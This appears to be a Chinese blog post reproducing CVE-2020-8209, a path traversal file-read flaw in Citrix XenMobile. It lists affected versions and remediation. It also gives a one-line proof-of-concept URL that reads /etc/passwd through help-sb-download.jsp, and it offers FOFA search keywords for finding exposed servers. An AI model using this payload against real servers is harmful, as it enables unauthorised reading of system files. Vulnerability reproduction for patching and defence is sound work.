CVE-2020-8209 XenMobile文件读取漏洞复现

1 Xenmobile介绍

    XenMobile提供了一种可靠的移动设备管理解决方案，可以对企业设备和员工个人设备进行基于角色的管理、配置和支持并确保安全性。与只能提供基本设备管理软件的大多数厂商不同，XenMobile可提供多种高级功能和特性来确保移动应用可随时用于业务目的并确保移动内容安全性，如区域防护（geo-fencing）、自动化合规性及一键式实时聊天和支持等。

2 漏洞介绍与影响范围

    CVE-2020-8209利用此漏洞，可以读取Web服务器根目录之外的任意文件

    RP2之前的XenMobile服务器10.12

    RP4之前的XenMobile服务器10.11

    RP6之前的XenMobile服务器10.1010.9

    RP5之前的XenMobile服务器

3 漏洞复现

    POC: 域名/jsp/help-sb-download.jsp?sbFileName=../../../etc/passwd

    （部分情况无法web直接访问 会进行下载）

    关注公众号回复 XenMobile 获取fofa关键字

    

4 修复方案

    1 及时更新补丁升级为最新版

    2 部署waf 禁止访问jsp/help-sb-download.jsp***

   

5 参考

      本文参考于ChaBug don9sec 福林表哥

   欢迎各位大佬加好友进行交流

    对师傅们有用的话 点一下在看 转发一下文章就好 谢谢

                

本文始发于微信公众号（阿乐你好）：CVE-2020-8209 XenMobile文件读取漏洞复现